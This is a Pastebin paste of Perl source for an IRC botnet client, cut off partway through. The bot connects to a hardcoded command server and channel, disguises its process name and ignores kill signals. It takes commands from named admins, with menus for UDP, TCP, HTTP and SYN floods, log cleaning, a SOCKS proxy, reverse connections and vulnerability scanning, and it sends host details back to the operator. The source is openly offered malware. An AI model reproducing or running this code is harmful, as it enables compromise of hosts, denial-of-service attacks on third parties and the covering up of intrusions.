daily pastebin goal
69%
SHARE
TWEET

perli

a guest May 17th, 2018 160 Never
Upgrade to PRO!
ENDING IN00days00hours00mins00secs
 
  1. #!/usr/bin/perl
  2. #Perl Arhive by k0nfig
  3. ####################################
  4.  
  5. my $processo = 'https';
  6.  
  7. my $linas_max='100';
  8.  
  9. my $sleep='50';
  10.  
  11. my $cmd="";
  12.  
  13. my $id="";
  14.  
  15. ############################################
  16.  
  17. my @adms=("k0nfig","k0nnfig");
  18.  
  19. my @canais=("#pma");
  20.  
  21. my $chanpass = "marian1234";
  22.  
  23. ##Cron
  24.  
  25. $num = int rand(100000);
  26.  
  27. my $nick = "[UDP][KONFIG-BOT][PERL][A]" . $num . "";
  28.  
  29.  
  30.  
  31. #Nickname of bot  
  32.  
  33. my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
  34.  
  35.                                 "alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
  36.  
  37.                                 "anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
  38.  
  39.                                 "aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
  40.  
  41.                                 "blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
  42.  
  43.                                 "brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
  44.  
  45.                                 "chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
  46.  
  47.                                 "coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
  48.  
  49.                                 "crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
  50.  
  51.                                 "darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
  52.  
  53.                                 "djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
  54.  
  55.                                 "ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
  56.  
  57.                                 "eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
  58.  
  59.                                 "fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
  60.  
  61.                                 "gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
  62.  
  63.                                 "grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
  64.  
  65.                                 "hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
  66.  
  67.                                 "ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
  68.  
  69.                                 "jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
  70.  
  71.                                 "jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
  72.  
  73.                                 "joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
  74.  
  75.                                 "juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
  76.  
  77.                                 "keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
  78.  
  79.                                 "kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
  80.  
  81.                                 "kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
  82.  
  83.                                 "lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
  84.  
  85.                                 "lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
  86.  
  87.                                 "lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
  88.  
  89.                                 "manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
  90.  
  91.                                 "mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
  92.  
  93.                                 "mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
  94.  
  95.                                 "monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
  96.  
  97.                                 "mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
  98.  
  99.                                 "musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
  100.  
  101.                                 "natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
  102.  
  103.                                 "ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
  104.  
  105.                                 "outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
  106.  
  107.                                 "pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
  108.  
  109.                                 "pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
  110.  
  111.                                 "quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
  112.  
  113.                                 "raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
  114.  
  115.                                 "rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
  116.  
  117.                                 "saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
  118.  
  119.                                 "servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
  120.  
  121.                                 "sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
  122.  
  123.                                 "slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
  124.  
  125.                                 "spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
  126.  
  127.                                 "stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
  128.  
  129.                                 "sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
  130.  
  131.                                 "tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
  132.  
  133.                                 "timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
  134.  
  135.                                 "tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
  136.  
  137.                                 "vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
  138.  
  139.                                 "vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
  140.  
  141.                                 "weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
  142.  
  143.                                 "wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
  144.  
  145.                                 "yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
  146.  
  147.                                 "zwsiew","zwsiewale");
  148.  
  149.  
  150.  
  151. my $ircname = $rircname[rand scalar @rircname];
  152.  
  153.  
  154.  
  155. chop (my $realname = $rircname[rand scalar @rircname]);
  156.  
  157.  
  158.  
  159. my $nick =$rircname[rand scalar @rircname];
  160.  
  161. #IRC name and Realname  
  162.  
  163. $servidor='151.80.46.33' unless $servidor;
  164.  
  165. my $porta='6456';
  166.  
  167. ############################################
  168.  
  169. $SIG{'INT'} = 'IGNORE';
  170.  
  171. $SIG{'HUP'} = 'IGNORE';
  172.  
  173. $SIG{'TERM'} = 'IGNORE';
  174.  
  175. $SIG{'CHLD'} = 'IGNORE';
  176.  
  177. $SIG{'PS'} = 'IGNORE';
  178.  
  179. use IO::Socket;
  180.  
  181. use Socket;
  182.  
  183. use IO::Select;
  184.  
  185. chdir("/");
  186.  
  187.  
  188.  
  189. #Connect
  190.  
  191. $servidor="$ARGV[0]" if $ARGV[0];
  192.  
  193. $0="$processo"."\0"x16;;
  194.  
  195. my $pid=fork;
  196.  
  197. exit if $pid;
  198.  
  199. die "Masalah fork: $!" unless defined($pid);
  200.  
  201.  
  202.  
  203. our %irc_servers;
  204.  
  205. our %DCC;
  206.  
  207. my $dcc_sel = new IO::Select->new();
  208.  
  209. $sel_cliente = IO::Select->new();
  210.  
  211. sub sendraw {
  212.  
  213.    if ($#_ == '1') {
  214.  
  215.       my $socket = $_[0];
  216.  
  217.       print $socket "$_[1]\n";
  218.  
  219.  
  220.  
  221.    } else {
  222.  
  223.       print $IRC_cur_socket "$_[0]\n";
  224.  
  225.    }
  226.  
  227. }
  228.  
  229.  
  230.  
  231. sub conectar {
  232.  
  233.    my $meunick = $_[0];
  234.  
  235.    my $servidor_con = $_[1];
  236.  
  237.    my $porta_con = $_[2];
  238.  
  239.  
  240.  
  241.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  242.  
  243.    PeerPort=>$porta_con) or return(1);
  244.  
  245.    if (defined($IRC_socket)) {
  246.  
  247.       $IRC_cur_socket = $IRC_socket;
  248.  
  249.       $IRC_socket->autoflush(1);
  250.  
  251.       $sel_cliente->add($IRC_socket);
  252.  
  253.       $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  254.  
  255.       $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  256.  
  257.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  258.  
  259.       $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  260.  
  261.       nick("$meunick");
  262.  
  263.       sendraw("PASS Fuck");
  264.  
  265.       sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  266.  
  267.       sleep 1;
  268.  
  269.    }
  270.  
  271. }
  272.  
  273.  
  274.  
  275. my $line_temp;
  276.  
  277. while( 1 ) {
  278.  
  279.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  280.  
  281.    select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  282.  
  283.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  284.  
  285.    my @ready = $sel_cliente->can_read(0);
  286.  
  287.    next unless(@ready);
  288.  
  289.    foreach $fh (@ready) {
  290.  
  291.       $IRC_cur_socket = $fh;
  292.  
  293.       $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  294.  
  295.       $nread = sysread($fh, $msg, 4096);
  296.  
  297.       if ($nread == 0) {
  298.  
  299.          $sel_cliente->remove($fh);
  300.  
  301.          $fh->close;
  302.  
  303.          delete($irc_servers{$fh});
  304.  
  305.       }
  306.  
  307.       @lines = split (/\n/, $msg);
  308.  
  309.       for(my $c=0; $c<= $#lines; $c++) {
  310.  
  311.          $line = $lines[$c];
  312.  
  313.          $line=$line_temp.$line if ($line_temp);
  314.  
  315.          $line_temp='';
  316.  
  317.          $line =~ s/\r$//;
  318.  
  319.          unless ($c == $#lines) {
  320.  
  321.             parse("$line");
  322.  
  323.          } else {
  324.  
  325.             if ($#lines == 0) {
  326.  
  327.                parse("$line");
  328.  
  329.             } elsif ($lines[$c] =~ /\r$/) {
  330.  
  331.                parse("$line");
  332.  
  333.             } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  334.  
  335.                parse("$line");  
  336.  
  337.             } else {
  338.  
  339.                $line_temp = $line;
  340.  
  341.             }
  342.  
  343.          }
  344.  
  345.       }
  346.  
  347.    }
  348.  
  349. }
  350.  
  351.  
  352.  
  353. sub parse {
  354.  
  355.    my $servarg = shift;
  356.  
  357.    if ($servarg =~ /^PING \:(.*)/) {
  358.  
  359.       sendraw("PONG :$1");
  360.  
  361.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  362.  
  363.       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  364.  
  365.       if ($args =~ /^\001VERSION\001$/) {
  366.  
  367.          notice("$pn", "\001VERSION mIRC v7.25 CyberBot\001");
  368.  
  369.       }
  370.  
  371.       if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  372.  
  373.          if ($onde eq "$meunick"){
  374.  
  375.             zr("$pn", "$args");
  376.  
  377.          }
  378.  
  379. #End of Connect
  380.  
  381.          if ($args =~ /^(\Q$meunick\E|\-zr)\s+(.*)/ ) {
  382.  
  383.             my $natrix = $1;
  384.  
  385.             my $arg = $2;
  386.  
  387.             if ($arg =~ /^\!(.*)/) {
  388.  
  389.                ircase("$pn","$onde","$1") unless ($natrix eq "-zr" and $arg =~ /^\!nick/);
  390.  
  391.             } elsif ($arg =~ /^\@(.*)/) {
  392.  
  393.                $ondep = $onde;
  394.  
  395.                $ondep = $pn if $onde eq $meunick;
  396.  
  397.                bfunc("$ondep","$1");
  398.  
  399.             } else {
  400.  
  401.                zr("$onde", "$arg");
  402.  
  403.             }
  404.  
  405.          }
  406.  
  407.       }
  408.  
  409.    }
  410.  
  411. ######################### End of prefix
  412.  
  413.    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  414.  
  415.       if (lc($1) eq lc($meunick)) {
  416.  
  417.          $meunick=$4;
  418.  
  419.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  420.  
  421.       }
  422.  
  423.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  424.  
  425.       nick("$meunick|".int rand(999999));
  426.  
  427.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  428.  
  429.       $meunick = $2;
  430.  
  431.       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  432.  
  433.       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  434.  
  435.       foreach my $canal (@canais) {
  436.  
  437.          sendraw("JOIN $canal $chanpass");
  438.  
  439.       }
  440.  
  441.    }
  442.  
  443. }
  444.  
  445.  
  446.  
  447. sub bfunc {
  448.  
  449.    my $printl = $_[0];
  450.  
  451.    my $funcarg = $_[1];
  452.  
  453.    if (my $pid = fork) {
  454.  
  455.       waitpid($pid, 0);
  456.  
  457.    } else {
  458.  
  459.       if (fork) {
  460.  
  461.          exit;
  462.  
  463.       } else {
  464.  
  465.  
  466.  
  467.          if ($funcarg =~ /^killme/) {
  468.  
  469.             sendraw($IRC_cur_socket, "QUIT :");
  470.  
  471.             $killd = "kill -9 ".fork;
  472.  
  473.             system (`$killd`);
  474.  
  475.          }
  476.  
  477. ######################
  478.  
  479. #                    Commands                      #
  480.  
  481. ######################
  482.  
  483.          if ($funcarg =~ /^commands/) {
  484.  
  485.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[BY.ZR Perl Bot Commands List]-14@4] ");
  486.  
  487.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Hacking Based]-----14@4] ");
  488.  
  489.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3multiscan <vuln> <dork>");
  490.  
  491.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3socks5");
  492.  
  493.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sql <vuln> <dork>");
  494.  
  495.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3portscan <ip>");
  496.  
  497.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3logcleaner");
  498.  
  499.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sendmail <subject> <sender> <recipient> <message>");
  500.  
  501.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3system");
  502.  
  503.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cleartmp");
  504.  
  505.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3rootable");
  506.  
  507.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3nmap <ip> <beginport> <endport>");
  508.  
  509.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3back <ip><port>");    
  510.  
  511.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3linuxhelp");
  512.  
  513.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cd tmp:. | for example");
  514.  
  515.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  516.  
  517.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3packetstorm");
  518.  
  519.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3milw0rm");
  520.  
  521.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  522.  
  523.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3udpflood <host> <packet size> <time>");
  524.  
  525.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3udp <host> <port> <packet size> <time>");
  526.  
  527.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3tcpflood <host> <port> <packet size> <time>");
  528.  
  529.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3httpflood <host> <time>");  
  530.  
  531.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-nr1 14@3sqlflood <host> <time>");
  532.  
  533.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  534.  
  535.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3killme");    
  536.  
  537.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3join #channel");    
  538.  
  539.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3part #channel");
  540.  
  541.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3reset");
  542.  
  543.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3voice <who> ");
  544.  
  545.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3owner <who> ");
  546.  
  547.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deowner <who> ");
  548.  
  549.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3devoice <who> ");
  550.  
  551.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3halfop <who> ");
  552.  
  553.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dehalfop <who> ");
  554.  
  555.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3op <who> ");
  556.  
  557.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deop <who> ");
  558.  
  559.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  560.  
  561.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3msgflood <who> ");
  562.  
  563.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dccflood <who> ");
  564.  
  565.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3ctcpflood <who> ");
  566.  
  567.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3noticeflood <who> ");
  568.  
  569.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3channelflood");
  570.  
  571.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3maxiflood <who> ");
  572.  
  573. }
  574.  
  575.  
  576.  
  577.          if ($funcarg =~ /^linuxhelp/) {
  578.  
  579.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  580.  
  581.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Dir where you are : pwd");
  582.  
  583.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Start a Perl file : perl file.pl");
  584.  
  585.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Go back from dir : cd ..");
  586.  
  587.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  588.  
  589.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Show all files/dir with permissions : ls -lia");
  590.  
  591.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  592.  
  593.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  594.  
  595.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  596.  
  597.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  598.  
  599.          }
  600.  
  601.            
  602.  
  603.          if ($funcarg =~ /^help/) {
  604.  
  605.              sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  606.  
  607.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3flooding - For IRC Flooding Help");
  608.  
  609.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3irc - For IRC Bot Command Help ");
  610.  
  611.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3ddos - For DDos Command Help");
  612.  
  613.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3news - For Security News Command Help ");
  614.  
  615.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3hacking - For Hacking Command Help");
  616.  
  617.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3linuxhelp - For Linux Help");
  618.  
  619.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3extras");
  620.  
  621.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3version - For version info");
  622.  
  623.          }
  624.  
  625.  
  626.  
  627.          if ($funcarg =~ /^flooding/) {
  628.  
  629.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  630.  
  631.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3msgflood <who> ");
  632.  
  633.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dccflood <who> ");
  634.  
  635.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3ctcpflood <who> ");
  636.  
  637.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3noticeflood <who> ");
  638.  
  639.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3channelflood");
  640.  
  641.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3maxiflood <who> ");
  642.  
  643.          }
  644.  
  645.            
  646.  
  647.          if ($funcarg =~ /^irc/) {
  648.  
  649.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  650.  
  651.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3voice <who> ");
  652.  
  653.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3owner <who> ");
  654.  
  655.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deowner <who> ");
  656.  
  657.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3devoice <who> ");
  658.  
  659.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3halfop <who> ");
  660.  
  661.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3dehalfop <who> ");
  662.  
  663.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3op <who> ");
  664.  
  665.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3deop <who> ");
  666.  
  667.          }    
  668.  
  669.            
  670.  
  671.          if ($funcarg =~ /^ddos/) {
  672.  
  673.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  674.  
  675.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3udpflood <host> <packet size> <time>");
  676.  
  677.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3udp <host> <port> <packet size> <time>");
  678.  
  679.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3tcpflood <host> <port> <packet size> <time>");
  680.  
  681.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3httpflood <host> <time>");  
  682.  
  683.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sqlflood <host> <time>");
  684.  
  685.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13-----[Extras Ddos Commands]-----14@12] ");
  686.  
  687.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3syn <destip> <destport> <time in seconds>");
  688.  
  689.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sudp <host> <port> <reflection file> <threads> <time> | Requires ./50 installed");
  690.  
  691.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7[14@13Go to @extras to install required scripts14@12] ");
  692.  
  693.              
  694.  
  695.          }    
  696.  
  697.  
  698.  
  699.          if ($funcarg =~ /^news/) {
  700.  
  701.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  702.  
  703.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3packetstorm");
  704.  
  705.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3milw0rm");
  706.  
  707.          }    
  708.  
  709.  
  710.  
  711.          if ($funcarg =~ /^hacking/) {
  712.  
  713.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  714.  
  715.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3multiscan <vuln> <dork>");
  716.  
  717.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3socks5");
  718.  
  719.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3portscan <ip>");
  720.  
  721.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3logcleaner");
  722.  
  723.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3sendmail <subject> <sender> <recipient> <message>");
  724.  
  725.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3system");
  726.  
  727.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cleartmp");
  728.  
  729.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3rootable");
  730.  
  731.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3nmap <ip> <beginport> <endport>");
  732.  
  733.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3back <ip><port>");    
  734.  
  735.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3linuxhelp");
  736.  
  737.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3cd tmp:. | for example");
  738.  
  739.          }      
  740.  
  741.               if ($funcarg =~ /^extras/) {
  742.  
  743.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Extras]-----14@12] ");
  744.  
  745.             sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13To install these scripts you need gcc installed14@12] ");
  746.  
  747.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3install-syn Syn.c");      
  748.  
  749.             sendraw($IRC_cur_socket, "PRIVMSG $printl :7-zr 14@3install-50x 50x.c");        
  750.  
  751.          }          
  752.  
  753. ######################
  754.  
  755. #   End of  Help     #
  756.  
  757. ######################
  758.  
  759.  
  760.  
  761.  
  762.  
  763. ######################
  764.  
  765. #     Commands       #
  766.  
  767. ######################
  768.  
  769.  if ($funcarg =~ /^system/) {
  770.  
  771.  sendraw($IRC_cur_socket, "PRIVMSG $printl Come on and hit that ricky");
  772.  
  773.  }
  774.  
  775.          if ($funcarg =~ /^sys/) {
  776.  
  777.             $uname=`uname -a`;
  778.  
  779.             $uptime=`uptime`;
  780.  
  781.             $ownd=`pwd`;
  782.  
  783.             $distro=`cat /etc/issue`;
  784.  
  785.             $id=`id`;
  786.  
  787.             $un=`uname -sro`;
  788.  
  789.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  790.  
  791.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a     : 7 $uname");
  792.  
  793.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime       : 7 $uptime");
  794.  
  795.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses  : 7 $processo");
  796.  
  797.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID           : 7 $id");
  798.  
  799.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir      : 7 $ownd");
  800.  
  801.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS           : 7 $distro");
  802.  
  803.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner        : 7 fuck");
  804.  
  805.             sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel      : 7 #berau");
  806.  
  807.          }
  808.  
  809.  
  810.  
  811.          if ($funcarg =~ /^milw0rm/) {
  812.  
  813.             my @ltt=();
  814.  
  815.             my @bug=();
  816.  
